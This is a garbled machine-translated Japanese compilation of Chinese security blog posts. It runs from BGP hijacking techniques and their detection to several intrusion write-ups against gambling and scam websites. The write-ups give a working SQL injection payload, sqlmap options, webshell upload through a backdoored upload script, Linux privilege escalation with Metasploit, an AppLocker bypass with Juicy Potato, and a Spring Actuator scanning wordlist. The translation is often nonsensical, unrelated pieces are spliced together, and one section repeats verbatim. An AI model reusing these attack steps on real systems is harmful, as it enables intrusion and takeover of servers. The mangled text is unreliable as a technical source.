すべてが最初にシカゴのGoogleのデータセンターに転送されました。 NTT、KDDI、SoftBank BB、IIJは、日本のトップ4の主要なインターネットバックボーンネットワークであり、その相互接続とトラフィックは膨大です。

このBGPルーティング事故により、太平洋を越え、日本と米国の間の多くの国際潜水艦ケーブルシステムを通過する3つの主要なオペレーター間の国内交通が国際化されました。

米国のシカゴデータセンターはGoogleに流れます。この場合、日本と米国の間の国際潜水艦ケーブルの帯域幅が元々十分だったとしても、日本にあるはずの先史時代のインターネットの流れを運ぶことができず、日本とアメリカのインターネット高速道路の深刻な混雑をもたらしました。

インターネットトラフィックはあまりにも長く合格されており、その結果、壊滅的なインターネットデータの損失が発生し、日本のインターネットの中断が生じています。

5。AmazonはBGPにハイジャックされ、4月24日の朝に1730万米ドル(2018年)に相当する盗難ETHになり、Amazonの権威あるドメイン名サーバーはBGPルーティングハイジャックによって攻撃されました。攻撃者の目的は、DNSとBGPの固有のセキュリティの弱点を悪用して、暗号通貨を盗むことです。ハイジャックは、オーストラリア、米国、その他の地域に影響を与えています。この事件では、

ウェブサイトへのすべてのユーザーのアクセストラフィックは、ロシアのISPが提供する違法なウェブサイトにハイジャックされました。

MyetherWalletは、多くのユーザーが攻撃の犠牲者になったという声明を発表しました。

0x02これらのセキュリティの欠陥/bgp

の脆弱性

1. BGPの3つの原則

1。BGPルートが隣接する接続を確立した後、互いは隣人にルートエントリを送信します。

1rcwuipme008772.jpg

2。宛先ネットワークが決定されると、最短のAS_PATHパスがルーティングの優先順位を持っています

2wnchpkna358773.jpg

3。宛先ネットワークが決定されると、ネットワーク広告アドレス(マスクが長くなるほど)がより具体的に具体的であるため、ルートの優先度とルートの優先度が高くなります。

f053vtjzynd8774.jpg

zjipmfyyz5k8775.jpg

2.bgp hijack

2.1アイドル

外の世界への宣言は自分自身のものではなく、他の機関によって合法で宣言されていないネットワークに属します。

攻撃前:

AS1は、ネットワーク1.1.1.1/18および1.1.2.2/18の所有者です。

ただし、1.1.1.1/18のみを使用するため、1.1.1.1/18を宣言します。

宣言なし1.1.2.2/18。下の図に示すように:

t5d4dapgc508776.jpg

攻撃の後:

AS5にはネットワーク5.5.5.5/16があります。

彼は、AS1が1.1.2.2/18および1.1.2.2/18が存在し、合法であると宣言しなかったことを発見しました。 AS5は、1.1.2.2/18がすべてのトラフィックを1.1.2.2/1にAS5に送信するようになったことを発表しました。下の図に示すように:

hon55ox5f3c8777.jpg

2.1通知として最も近い隣人

物理的な場所の近接機能を使用して、あなたに属さないネットワークが近くの隣接するネットワークリンクをハイジャックすることを宣言します。攻撃前:

lcmnyosl52l8778.jpg

攻撃の後:

fmexzw0y20f8779.jpg

2.2長いマスクグラブ(イリダス効果)特別なプレフィックスハイジャック

BGPパス選択ロングマスク優先機能を使用して、到達可能なネットワークセグメントの完全なトラフィックをハイジャックします。攻撃前:

mnz3k2l0rld8780.jpg

攻撃の後:

pgwc22urylj8781.jpg

2.2 AS_Path Hijack(Sardine Fishing)

AS_Path Prependを使用すると、自由に変更でき、ASを介してAS_Pathの数を増やすことでルーティングの優先順位を抑制します。

ターゲットネットワークに向かってデータを駆動します。ネットワークトラフィックを制御する目的を達成します。

攻撃前:

xuwcb24rvn58782.jpg

攻撃の後:

vdpgx1np4yq8783.jpg

2.3ルートリーク

BGPルーティングリーク:

BGPルーティングエントリは、異なる役割で合理的な広告範囲を持っています。 BGPルーティング通知が当初の予想される広告範囲外に広がると、ルーティングリークと呼ばれます。

そして、これは予測不可能な結果をもたらします。漏れによって引き起こされる結果によると、それは次の3つのタイプに大まかに分割できます。 Øソースネットワークと尖ったネットワークの中断を引き起こします。 Ø旅行/ISP旅行/MITMおよびその他の問題として引き起こします

AS1ルーティングリークが発生する前に、AS1、AS2、AS3、AS4、およびAS5は正常に通信できます。下の図に示すように:

enbwimyiyf18784.jpg

2.4 BGP TTL Modify(食事後のデザート)

ASとASの間の境界ルーターでEBGPが実行されます。デフォルトでは、直接接続または静的ルーティングが必要です。直接接続でない場合は、複数のEBGPを参照する必要があります。それ以外の場合、隣人の関係を確立できません。この問題を解決するために、EBGP-Multihop属性は、ホップの問題を修正するために定義されます。 EBGPで近隣を確立する場合、デフォルトのTTL値は1です。EBGP-Multihopを変更しない場合、非方向性に接続されたEBGPネイバーが隣接関係を確立できないようになります(これもEBGPアンチリング測定値です)。本質は、この属性を介したアウトバウンドルートのTTL属性値を変更することです。

BGP TTL値はカスタムの変更をサポートするため、MITMを実行できます(BGPルーティングTTL値の値は、合格するたびに1減少します)

攻撃と同時に、戦略を策定し、TTL値を変更します(対応するホップカウントのTTL値を増やします)

ホップカウントを例外のないように見せます。特定の隠された効果を達成できます。

switch(config)#ルーターBGP 1.1

switch(config-router)#neighbor 192.0.2.1 remote-as 1.2

switch(config-route-neighbor)ebgp-multihop 2(1-255)

01tavik2a1t8785.jpg

1g3muptacqo8786.jpg

以前のBGPハイジャックと

2.5 BGPブレイクhttps

を使用します

これで、HTTPSトラフィックを復号化するために法的TLS証明書を取得する必要があります。 ØTLSCAを介してユーザー向けにTLS証明書を取得するプロセスは次のとおりです。

1.最初にCA Webページでアカウントを申請します。

2。認証ログインリクエストCSR(証明書)

署名リクエスト)作成とロードは重要ですが、一部のCAはこの手順をスキップしてCAから直接秘密キーを取得することさえ許可します。

3。CAは、次の3つの重要な項目を含む、ユーザーを認証するために多くの選択肢を提供します。

•whois recordを照会します

•特定のHTMLをロードして、特定のURLで認証を渡す

•ユーザーはDNSテーブルにカスタムトークンを作成します

上記の確認の後、申請者は支払いを行い、支払いが完了し、CAはTLS法的認定を発行します。次に、このTLS証明書を使用して、Web訪問者にIDの合法性を証明できます。 (それは確かに合法であり、世界中で有効です)

ハイジャックCA(証明書当局)証明書:上記のプロセスから、3の3つの条件が合格することが保証されている限り、法的TLS証明書を適用できることがわかります。適切なCAを選択した場合、BGPハイジャックはCAS間の呼び出しを中断しません。このような攻撃を実装するには2つのことだけが必要です。

1.制御可能な境界ルーティング

2。BGPノードの情報:顧客、プロバイダー、ノード情報、および公共サービスは、Qrator RadarまたはBGPモニタリングに似ています。これらの基本情報、AS_PATH追跡ルートなどを確認します。

それから:

BGPハイジャックテクノロジーを使用して、Whios、URL Server、DNS TXT、DNS、

トークンの対応するアドレスは、構築した3種類のサーバーを指します。

whois recordをクエリします

(プレーンテキストの送信は偽造できます)

特定のHTMLをロードして、特定のURLで認証を渡す

(プレーンテキストの送信は偽造できます)

ユーザーは、DNSテーブルにカスタムトークンを作成します

(プレーンテキストの送信は偽造できます)

次に、ステップ4に進み、TLS証明書アプリケーションを完了します。

0x03検出防御

1.BGPルートモニット(検出)

TTL関連情報を表示し、通常の状況と比較するためにTracerouteコマンドを使用します。

ほとんどの場合、ハイジャックはTTL値を増やし、ASパスを通過することにより決定されます。ルートハイジャックが発生しない場合、

下の図に示すように:slbxq02zx028787.jpg

ルートハイジャックが発生すると、ルートが:AS40-AS10-100を迂回することがわかります。下の図に示すように:

zgqvh4iavop8788.jpg

自己構築されたプラットフォームは、グローバルな権威ある組織および組織の完全なBGPルーティングテーブルをリアルタイムで同期し、それらをローカルに収集したBGPと比較します。例外が見つかり、アラートはリアルタイムで作成されます。下の図に示すように、Routeviewsなどのいくつかのオープンソースプロジェクト:

sbbnvmzerei8789.jpg

合理的な取得期間を選択し、期間中に通常のBGPステータスの下でルート更新エントリの数をカウントします。更新エントリの総数に対して合理的なしきい値範囲を選択し、AS ASのBGPルーティングエントリの更新の数をリアルタイムで監視し、異常が見つかったときにリアルタイムで警告します。 ØコマーシャルBGPルーティングモニタリングとアラームプラットフォームを使用します

•IAR(インターネット

アラートレジストリ)

•PHAS(プレフィックス

ハイジャックアラートシステム)

•熟したNCC

myasnサービス

•BGPMON

•watchmy.net

•Renesys

Intelligのルーティング

2。ルーティング通知スコープ(防御)

をフィルタリングおよび制限します

Øコレクションのルーティング広告は、AS範囲内のBGPおよびIGPグローバルルーティングポリシーで許可されています。

禁止されています。また、ACL、ルートマップ、またはBGP Prefxフィルタリングを合理的に使用して、ルートの発表と伝播範囲を制御します。 Øoperator、

サービスプロバイダーは、以下の原則に従って、異なるビジネスロールを持つルーターでルーティングアナウンスを実施し、詳細なBGP PrefXフィルタリングを確立し、それらを有効にするものとします。下の図に示すように:

g2fndukllv18790.jpg

sn14uaeodls8791.jpg

3。アルゴリズムモデル(検出---外部引用)

3.1ドメイン間ルーティングのための中間攻撃モデル

ドメイン間ルーティングの中間攻撃は通常、プレフィックスハイジャックに基づいて実装されます。接頭辞ハイジャックは、被害者ネットワークへのトラフィックをハイジャックするために偽のルートを宣言しました。典型的なプレフィックスのハイジャックを図に示します。 AS6は、AS1のプレフィックス10.1.16.1/22を外の世界に違法に宣言します。

これにより、AS4とAS5は鍛造ルートによって汚染されます。さらに、彼らは被害者ネットワークに到達します。

AS1トラフィックもAS6にハイジャックされます。下の図に示すように、•AS1はネットワーク10.1.16.1/22の実際の所有者です。3:Fとしてマークされています。

:Xとしてマークしました

•攻撃が開始される前のyからfへのas_pathは次のとおりです。

e4ywodr4dpl8792.jpg

攻撃が発生した後、yからfへのas_pathは:as6 as2です

AS1。図:

ggr0tyhhhvv8793.jpg

3.2ドメイン間ルーティングの中間攻撃の異常特性

最初に、セクションで述べたように、ドメイン間ルーティングの中間攻撃の最初のステップは、プレフィックスハイジャックを実装することです。レビュー

0x00情報収集

友人が私にウェブサイトをくれました。これは比較的大きな紀元前と見なされます。私はメインのウェブサイトを見て、入り口がなかったので、彼のプロモーションプラットフォームの1つに変更しました。

图片

次に、最初にディレクトリを大まかにスキャンして、いくつかの便利なものを見ることを望んでいます。現時点では、たとえば、Webサイトのソースコードがパッケージ化されているかどうかなど、重要なファイルhttps://scan.top15.cn/web/infoleakをすばやく表示するためのインターフェイスをお勧めします。スキャンしてからスキャン結果を表示しなかったことは明らかです。

图片

config.inc.phpは、経験によれば、データベースの構成ファイルである必要がありますが、サイズは0bです。暫定的にアクセスします。予想どおり、アップロードアクセスはありません。これは403です。ただし、経験に基づいて、再びスキャンします。たぶんそれはFCKエディターです。残念ながら、私は何もスキャンしませんでした。 /index.php/login/、サイズはわずか2kbで、背景ではなく、少し残念です。ポートには1つのWebアセットのみがあるため、Webサイト機能を確認することしかできません。それから私はクエリをクリックして、ここで注入を見つけたいと思った。

0x01バックエンドインジェクション

图片

案の定、注入があり、残りはバックエンドを探すことです。

图片

現在のデータベースを表示します(extractValue(1、concat(0x7e、(select database())、0x7e)) - ) -

图片

ここでは、ピット、アカウント=1 ')と(抽出バリュー(1、concat(0x7e、(select database())、0x7e)))))をステップすることを忘れないでください。

TMはデータを生成することはありません。クソフィルターがあると思いました。

そして、一つずつファジングします。

コメントが閉じられるかどうかを考えた後、コメントが追加されます ')。案の定、データは閉じた後にリリースされます。

その後、SQLMapを使用してデータを実行しましたが、TMが使い果たされないとは思っていませんでした。

自分でSQLMAPステートメントを再構築することによってのみ、python2 sqlmap.py -r 1.txt ---prefix '') ') - suffix' - ( '' - level 3 - tamper=space2plus - skip-urlencodeが最終的に使い果たされました。

後でペイロードを見ました。私が走るたびに、スペースは20%にコンパイルされます。 URLがエンコードされた後、ペイロードが有効になりないため、Skip-Urlencodeパラメーターを使用しました。

0x02注入点

驚きが再び来ました。私はPRIVを見ましたが、非常に多くのMySQL注射がついに比較的高い許可を得たことは事実でした。

图片

アカウントとパスワードを直接読んでいませんでした。絶対パスを除いてエラーを報告したばかりです。これではありませんか?ペイロードをチェックしたとき、HWSを見つけましたが、兄弟たちは簡単ではないと感じました。

图片

案の定、あなたがそれを書くことができないならば、あなたがそれを追加するならば、あなたは最終的にそれを書くことができません-hex。

それは大丈夫です、そして-sql-shell。

積み重ねて書いてください、私はそれを書くことができない可能性が高いことを知っていますが、私はまだそれを試してみる必要があります。

TMの浸透は形而上学です。

图片

私はprivをチェックしました、それはnullではありませんでした、そして私に少し希望を与えました。それを書いて、最初にTXTを書いて見ることができます。

Outfileに1を選択'd:/wwwroot/wnshd.com_22fqiz/web/1.txt'

图片

それから私はそれを読むためにウェブサイトに行きました、そしてそれを書くことはありませんでした、それは本当に困難でした。

すべてが残っています - ファイルワイト、これはマップに固執しておらず、まだ削除されていません。

無力で、バックエンドアカウントのパスワードのみを確認できます。

图片

アカウントとパスワードを収集した後、私はバックエンドに行きましたが、残念ながら私はまだそれを見つけることができず、それはほとんど絶望でした。

このTMはあなたに届けられましたが、なぜ私はまだそれを手に入れることができないのですか? SQLMapの問題だと思います。私はもう一度上記の手順を実行しました。 SQLMapはあなたに嘘をつくかもしれませんが、HWSはそうしません。書くことができない場合は、できません。

それを忘れて、アイデアを変えましょう。ディレクトリが爆発したのではありませんか?

wolsoowpppps、私は戻ってそれをチェックします、予期しないことは何もありません403、wolsoowpppps/admin、wolsowpppps/login。

何もありません、dirsearchはスキャンされ、TMにはまだ何もありません。

0x03馬の執筆に失敗する

それはWeb/wolsoowppppsのパスではありませんか?パスに絶対に問題があるのでしょうか?私は訪問します

图片

また、これは403であり、これはスキャンされていないディレクトリであることを意味します。くそー、ここに何かがあるように感じます。

その結果、写真をスキャンして投稿を停止しましたが、まだ何もありませんでした。

ハハハハ。

それは喜びの無駄です。

しかし、私は常にこのwolsoowpppsディレクトリに何か問題があると感じています。私はそれを曖昧にし、それをウェブからファズにしてから、ウェブをスキャンしました。ああ、私の良さ、私は一時的です。

PHP訪問、マレーシア人。

これを手に入れるのは良いことではありませんか?

图片

その後、爆発し、最後に、アリのキーをアップロードして、それを取り下げます。

このマレーシアはとても馴染みがあります。

图片

しかし、HWSはまだ本当に強力です。

コマンドを実行することはできず、プラグインと.SOメソッドは見つかりませんでした。

图片

ここで兄弟ファンに感謝します。彼が言及した警備員の神は、主にaspで、氷のサソリ馬を送るだけです。

图片

それから私は多くの解決策を考えましたが、この許可を下すことはできません。 XZのボスは知っておくべきだと思います。状況を教えてください。

現在、ディスクDには表示および変更許可のみがあり、EXEは実行できません。つまり、MSシリーズは使用できません。

ポテト一族はそれを渡すことができません。

IISは数秒で落とすことはできません。

ルアンを殺すことは、ターコイズ、保護者、安全な犬です。

上向きのCSですが、DLLとMSHTAの実行は立ち往生しています。当面の間、パワーを増やす方法がわかりません。拡大し続けたいのですが、プロモーションのために力にほとんど接触していません。預言者が私のいとこにアイデアを与えることを願っています。

0x04バックエンドを取得

最後に、マレーシア人がどのようにアップロードされたかについて考えました。

他の当事者は注射から始めることもできます - XSSを1か所で見つけました(私も見つけましたが、10月にカスタマーサービスがオフラインであったため、サイトを変更したため、XSSは戦うことができませんでした) - バックエンドRCE(TP3.2.3 CACHE GETSHELL)がMalaysiaに行きました。

これはXSSの場所です

图片

これはバックエンドです

图片

このサイトには大まかな価格の比較がありますが、そのアイデアは非常にシンプルなので、もっと学ぶべきです。

元のリンクから転載:https://mp.weixin.qq.com/s/qndlnapnk_485uapilqxrq3https://xz.aliyun.com/t/8491

0x00間違った終わりに応じて

私は誤ってゴミのほうれん草のウェブサイト豚を殺すディスク图片のセットに遭遇しました

图片

スキャンされたディレクトリとファイルに1つずつアクセスしても、それほど役に立ちませんが、背景アドレスが見つかります。 phpmyAdminアクセス500。图片

图片

XD.PHPにアクセスしてアクセスして、検証コード图片も許可する必要があることがわかります

私は8888、123456を試しましたが、他のすべてがエラーを促し、その場でそれらを閉じました。图片

ドメイン爆発の試みは1つだけです。 NMAPスキャンでは何も見つかりませんでした。ホームページに戻って、URLは少し珍しいことがわかりました。图片

0x01同様のWebサイトとソースコードを探しています

このような詐欺は、ソースコードをめったに開発しません。ソースコードがインターネットからダウンロードされ、それを構築する人を見つけたことは確かです。機能が機能なので、検索しました。图片 图片

0x02 auditを開始

非常に多くのWebサイトのソースコードは混乱している必要があるため、ソースコードを見つけて監査しようとしています。图片

ソースコードをダウンロードして、Seayでスキャンします。ソースコードが大きすぎて、私はそれをローカルに構築するのが面倒です。ソースコードを直接使用してターゲットを批判します。图片

そこからfileupload.phpファイルを見つけましたが、少し問題があるようです。图片

アクセスターゲットは、ファイルも存在することを発見します。ファイルを抽出し、ローカルに構築された環境でテストします。图片

ダイレクトアクセスは、2つのフォルダーのアップロードとupload_tmpを自動的に作成します。これはデモポイントです。この点は、実際にはバックドアのように見えます。图片

图片

また、ファイル名変数は完全に制御可能です。图片

読み続けて、いくつかの判断を見つけてください。フォームの名前をアップロードするには、ファイルできます。ファイルをアップロードする場合は、他のファイルについて心配する必要はありません。アップロードフォームを変更するだけです。パラメーター名とファイルを追加するだけです。

图片

名前パラメーター制御ファイル名aaa.php 图片を制御します

1.jpgアップロード图片を選択します

アップロード後にリターンパスはありませんが、AAA.PHPファイルはすでにアップロード中に存在しています。 SQL注入图片

変数内の場所の値は、リクエストから生じるものであり、上記のチェックインプットで検出されたタイプの値はありません。图片

Betlistcntをフォローしてください

图片 图片処理せずにクエリに直接持ち込まれ、多くの同様のポイントがあります。

0x03監査脆弱性の検証

图片

以前のアップロードを通してウェブシェルを取得し、権利を増やしてください。图片

それはdebianであることがわかりました。ポート6379があるが、ルートユーザー图片によって開始されていないことがわかりました

图片

カーネルバージョンを見た後、私はそれが大丈夫であるべきだと感じているので、私は許可を持つEXPを見つけようとします。图片

MSF Horse 图片を生成します

便利なため、MSFを使用してこのマシンを起動しました。次に、対応するエスカレーションExpを探します。

0x04権利を調達してみてください

これらの2つのCVE-2019-13272とCVE-2017-16995がGitHubで利用ツールを探していたとき、MSFには実際に右に右に付属していることを思い出しました。そこで、图片を検索しようとしました

图片を検索する場合は使用してください

图片

結果は、その場で图片で失敗しました

2番目のCVE-2017-16995 图片をお試しください

图片

图片ルート許可を使用したセッションを正常に返しました。特権のエスカレーションは完了し、元のリンクで再現されました:https://MP.Weixin.QQQQQQQQQQQQQ5IMLFHHNQNQNBTPFXCA

0x01はじめに

ヒント:否定的なケースとして見てください。実際、あなたがそれを得る方法は、以下に言及しているものよりもはるかに厄介ではありません。私はただ焦りすぎていると自分自身を責めています.

もともとはBCプロジェクトによって作成されたプロモーションサイトでしたが、当時はシェルしかありませんでした

图片

許可は通常のユーザーです。サーバー上の情報をさらに収集する許可を提起したいとき、彼はさまざまなことを実行することが許可を拒否されることを発見し、グループポリシーにプログラムをブロックするよう促しました。当時、他のことがあったため、彼はそれを研究し続けませんでした(プロジェクトは関連部門によって承認されており、ユーザー名はより敏感であり、プロセス全体が後でコーディングされます)。

图片

0x02バイパスアップルロッカー

私は最近突然それを覚えていたので、私はそれを続け、グループのマスターに尋ねました

图片

それが何であるかを知った後、簡単に言うことができます。辛抱強く探していると、常に何かを獲得します。 Applockerはじめに:

https://baike.baidu.com/item/applocker/2300852?fr=aladdinそれからマスター3gの記事を見つけました。

https://3gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/suse who rease nows ows。記事を読んだ後、フォローアップの一般的なアイデアが明らかになります。

0x03オンラインでエスカレートする

私が思うのは、バイパスアップルロッカーにより、ターゲットサーバーはターゲットサーバーを実行し、馬が起動した後にその後の権利の引き上げを実行できるということですが、実行はシェルの下で実行されます

ネットユーザー、タスクリスト /SVCなどをエコーしないでください。そうしないと、プロセス比較を使用してソフトソフトウェアを判断できます(私が書いた小さなホイールで、一致するプロセスは960+:3http://get-av.se7ensec.cn/に増加しました)

わからないので、私は自分のキャラクターを競い、ホストにキリングソフトウェアがないことに賭けます。上記の3Gマスター記事の3番目の方法で馬を走らせた後、下のマシンを無視してオンラインになりました.

图片

CSが起動された後、次のようなコマンドを実行すると、タスクリスト/SCVは引き続きアクセスが拒否されます。

图片

次に、組み込みのCSシステムプロセスコマンド「PS」を試して、システムプロセスを正常にリストしました。それを見た後、それは本当にソフトウェアを殺しませんでした。

/*スクリーンショットを撮るのを忘れた */

走る "

Shell SystemInfo「システムとパッチ情報が見えることがわかりましたが、システムにはいくつかのパッチがありませんでした。私は幸運でした。ユーザーの許可をチェックした後、Juicy Potatoの要件を満たしました。

テスト後、それが起動されたことがわかりました(実際、実行許可はありましたが、その時点で何かが間違っているとは思っていませんでした。後で記事を要約したときに何かが間違っていることに気付きました。詳細については、記事の最後を参照してください)。 c: \ users \ public \には実行権限があります。 Juicy Potatoを使用してWhoamiパラメーターを実行し、システムに正常に戻りました。

图片

その後、それを使用して直接降りると、システムセッションは数秒で行われます。ディレクトリをめくった後、私はそれがまだウェブサイトグループであることがわかりました。

图片

管理者許可のスクリーンショットを取ります。たくさんあるのも不思議ではありません。彼らはすべてバッチでWebサイトを構築することがわかりました:

图片

0x04要約

今回は幸運でキラーに出会わなかったことが起こりました。そうでなければ、それはでこぼこの道であり、より挑戦的です。

最も失敗するのは、今回はApplockerの機能のいくつかを完全に理解していなかったことです。

https://www.anquanke.com/post/id/159892、私はバイパス法を検索することを切望していて、それを使用し始めました。実際、私が今回遭遇したのは、ファイルパスの単なる制限でした。 c: \ users \ public \はプログラムを実行できます。以前に見つけるのはそれほど難しくありません。ただし、Applockerメカニズムを完全に理解できることも報酬です。

元のリンクから転載:https://mp.weixin.qq.com/s/ede6g1g4hbmkxq6tkieq

0x01はじめに

ヒント:否定的なケースとして見てください。実際、あなたがそれを得る方法は、以下に言及しているものよりもはるかに厄介ではありません。私はただ焦りすぎていると自分自身を責めています.

もともとはBCプロジェクトによって作成されたプロモーションサイトでしたが、当時はシェルしかありませんでした

图片

許可は通常のユーザーです。サーバー上の情報をさらに収集する許可を提起したいとき、彼はさまざまなことを実行することが許可を拒否されることを発見し、グループポリシーにプログラムをブロックするよう促しました。当時、他のことがあったため、彼はそれを研究し続けませんでした(プロジェクトは関連部門によって承認されており、ユーザー名はより敏感であり、プロセス全体が後でコーディングされます)。

图片

0x02バイパスアップルロッカー

私は最近突然それを覚えていたので、私はそれを続け、グループのマスターに尋ねました

图片

それが何であるかを知った後、簡単に言うことができます。辛抱強く探していると、常に何かを獲得します。 Applockerはじめに:

https://baike.baidu.com/item/applocker/2300852?fr=aladdinそれからマスター3gの記事を見つけました。

https://3gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/suse who rease nows ows。記事を読んだ後、フォローアップの一般的なアイデアが明らかになります。

0x03オンラインでエスカレートする

私が思うのは、バイパスアップルロッカーにより、ターゲットサーバーはターゲットサーバーを実行し、馬が起動した後にその後の権利の引き上げを実行できるということですが、実行はシェルの下で実行されます

ネットユーザー、タスクリスト /SVCなどをエコーしないでください。そうしないと、プロセス比較を使用してソフトソフトウェアを判断できます(私が書いた小さなホイールで、一致するプロセスは960+:3http://get-av.se7ensec.cn/に増加しました)

わからないので、私は自分のキャラクターを競い、ホストにキリングソフトウェアがないことに賭けます。上記の3Gマスター記事の3番目の方法で馬を走らせた後、下のマシンを無視してオンラインになりました.

图片

CSが起動された後、次のようなコマンドを実行すると、タスクリスト/SCVは引き続きアクセスが拒否されます。

图片

次に、組み込みのCSシステムプロセスコマンド「PS」を試して、システムプロセスを正常にリストしました。それを見た後、それは本当にソフトウェアを殺しませんでした。

/*スクリーンショットを撮るのを忘れた */

走る "

Shell SystemInfo「システムとパッチ情報が見えることがわかりましたが、システムにはいくつかのパッチがありませんでした。私は幸運でした。ユーザーの許可をチェックした後、Juicy Potatoの要件を満たしました。

テスト後、それが起動されたことがわかりました(実際、実行許可はありましたが、その時点で何かが間違っているとは思っていませんでした。後で記事を要約したときに何かが間違っていることに気付きました。詳細については、記事の最後を参照してください)。 c: \ users \ public \には実行権限があります。 Juicy Potatoを使用してWhoamiパラメーターを実行し、システムに正常に戻りました。

图片

その後、それを使用して直接降りると、システムセッションは数秒で行われます。ディレクトリをめくった後、私はそれがまだウェブサイトグループであることがわかりました。

图片

管理者許可のスクリーンショットを取ります。たくさんあるのも不思議ではありません。彼らはすべてバッチでWebサイトを構築することがわかりました:

图片

0x04要約

今回は幸運でキラーに出会わなかったことが起こりました。そうでなければ、それはでこぼこの道であり、より挑戦的です。

最も失敗するのは、今回はApplockerの機能のいくつかを完全に理解していなかったことです。

https://www.anquanke.com/post/id/159892、私はバイパス法を検索することを切望していて、それを使用し始めました。実際、私が今回遭遇したのは、ファイルパスの単なる制限でした。 c: \ users \ public \はプログラムを実行できます。以前に見つけるのはそれほど難しくありません。ただし、Applockerメカニズムを完全に理解できることも報酬です。

元のリンクから転載:https://mp.weixin.qq.com/s/ede6g1g4hbmkxq6tkieq

困難との最初の出会い

BQCステーションを見つけたら、最初にメインサイトにヒットしてみてください。图片最初にディレクトリをスキャンして、背景などを見つけることができるかどうかを確認してみてください。ここでdirsearchを使用しています。图片しかし、残念ながら、貴重なディレクトリはなく、背景をスキャンすることすらできませんが、これは予想されます。結局のところ、ほとんどのほうれん草のWebサイトの保護はうまくいっています。次に、アカウントを登録して見てみてください。图片注入を試みて、暗号化が逆になっていないことがわかります。一時的にしかgiveめません。图片登録後、アップロードインターフェイスが見つかったことがわかりました。图片アップロードに合わせて、IDの形で保存され、アップロードの脆弱性を引き起こすことができなかったことがわかりました。图片このウェブサイトは取得できず、その考え方を変えます。 IP全体に侵入してみてください。まず、このIPのポート全体をスキャンして、より完全な情報を取得してみてください。 2つのWebページが取得されました。 RocketMQ、この最新バージョンの脆弱性は公開され、試されました。图片は、攻撃を試みるツールを見つけましたが、コマンドの実行に失敗しました。图片別のログインインターフェイス图片 Shiro Frameworkが発見されました图片は爆発しようとしましたが、秘密の鍵は見つかりませんでした。图片

柳と花は明るい

です

ブレークスルーポイント:彼はポート8888を持っており、アクセスすると違法なIPにジャンプします。图片げっぷを見た後、彼はログインページにアクセスしてからジャンプすることを発見しました。图片眉をひそめ、物事は単純ではないことを発見しました。彼はIPの少し後に追加したため、エラーを報告しました。彼は、スプリングフレームワークを使用していることを発見しました。图片Actuatorは、アプリケーションシステムの内省と監視のためにSpring Bootが提供する機能的モジュールです。アクチュエーター開発者の助けを借りて、アプリケーションシステムの特定の監視指標を簡単に表示およびカウントできます。アクチュエータ

コアはエンドポイントエンドポイントで、アプリケーションとインタラクションを監視するために使用されます。 Spring-Boot-Actuatorにはすでに多くの組み込みがあります

エンドポイント(健康、情報、豆、メトリック、httptrace、shutdownなど)、および自分のものを拡張することもできます

エンドポイント。各エンドポイントを有効にして無効にできます。エンドポイントにリモートにアクセスするには、JMXまたはHTTPを介して公開する必要があり、ほとんどのアプリケーションはHTTPを選択します。パスがデフォルトで有効になっている関数の説明/auditeventsが現在のアプリケーション /豆の監査イベント情報を表示するかどうかは、アプリケーション /条件にすべてのスプリングビーンの完全なリストを表示することです。データベース移行パス(存在する場合) /健康はアプリケーションの健康情報を表示するため(認証されていない接続を使用してアクセスするとすべての情報の詳細を表示する場合、アプリケーション情報を表示するためにすべての情報の詳細が表示されます) /リキバーゼは、リキバースデータベース移動パスを表示するためです(存在する場合) /Metricsは現在のアプリケーション情報を表示します。 /スケジュールされたタスクは、アプリケーションでスケジュールされたタスクを示しています /セッションでは、ユーザーセッションを取得できません。スプリングセッションサポートセッションから削除されます。 (JolokiaがClassPathにある場合、WebFluxは使用できません) /LogFileはログファイルのコンテンツを返します(Logging.FileまたはLogging.Path属性が設定されている場合)、HTTP範囲ヘッダーの使用をサポートしてログファイルコンテンツの情報の一部を受け取ります。 Prometheusは、Prometheusサーバーがrawっている形式でメトリック情報を表示し、Springで収集されたディレクトリをディレクトリスキャンに直接使用することです。アクチュエータ

アクチュエータ/auditlog

アクチュエータ/監査vents

アクチュエータ/autoconfig

アクチュエータ/豆

アクチュエータ/キャッシュ

アクチュエータ/条件

アクチュエータ/configurationmetadata

アクチュエータ/configProps

アクチュエータ/ダンプ

アクチュエータ/env

アクチュエータ/イベント

アクチュエータ/exportretregisteredServices

アクチュエータ/機能

アクチュエータ/フライウェイ

アクチュエータ/健康

アクチュエータ/heapdump

アクチュエータ/ヘルスチェック

アクチュエータ/heapdump

アクチュエータ/httptrace

Actuator/Hystrix.Stream

アクチュエータ/情報

アクチュエータ/統合グラフ

アクチュエータ/ジョロキア

アクチュエータ/ログファイル

アクチュエータ/ロガー

アクチュエータ/LoggingConfig

アクチュエータ/リキバーゼ

アクチュエータ/メトリック

アクチュエータ/マッピング

アクチュエータ/スケジューリング

アクチュエータ/swagger-ui.html

アクチュエータ/プロメテウス

アクチュエータ/更新

アクチュエータ/登録サービス

アクチュエータ/リリースアトリビュート

アクチュエータ/resolveattributes

アクチュエータ/スケジューリング

アクチュエータ/セッション

アクチュエータ/スプリングウェブフロー

アクチュエータ/シャットダウン

アクチュエータ/SSO

アクチュエータ/ssosions

アクチュエータ/統計

アクチュエータ/ステータス

アクチュエータ/スレッドダンプ

アクチュエータ/トレース

監査

autoconfig

api.html

API/index.html

API/swagger-ui.html

API/V2/API-DOC

API-DOCS

キャッシュ

CloudFoundryApplication

条件

configProps

distv2/index.html

ドキュメント

druid/index.html

druid/login.html

druid/websession.html

dubbo-provider/distv2/index.html

ごみ

エンティティ/すべて

env

env/(name)

ユーレカ

フライウェイ

ゲートウェイ/アクチュエータ

ゲートウェイ/アクチュエータ/監査済み

ゲートウェイ/アクチュエータ/豆

ゲートウェイ/アクチュエータ/条件

ゲートウェイ/アクチュエータ/configProps

ゲートウェイ/アクチュエータ/env

ゲートウェイ/アクチュエータ/健康

ゲートウェイ/アクチュエータ/heapdump

ゲートウェイ/アクチュエータ/httptrace

Gateway/Actuator/Hystrix.Stream

ゲートウェイ/アクチュエータ/情報

ゲートウェイ/アクチュエータ/ジョロキア

ゲートウェイ/アクチュエータ/ログファイル

ゲートウェイ/アクチュエータ/ロガー

ゲートウェイ/アクチュエータ/マッピング

ゲートウェイ/アクチュエータ/メトリック

ゲートウェイ/アクチュエータ/スケジューリング

Gateway/Actuator/Swagger-ui.html

ゲートウェイ/アクチュエータ/スレッドダンプ

ゲートウェイ/アクチュエータ/トレース

健康

heapdump

heapdump.json

httptrace

Hystrix

Hystrix.Stream

情報

IntegrationGraph

ジョロキア

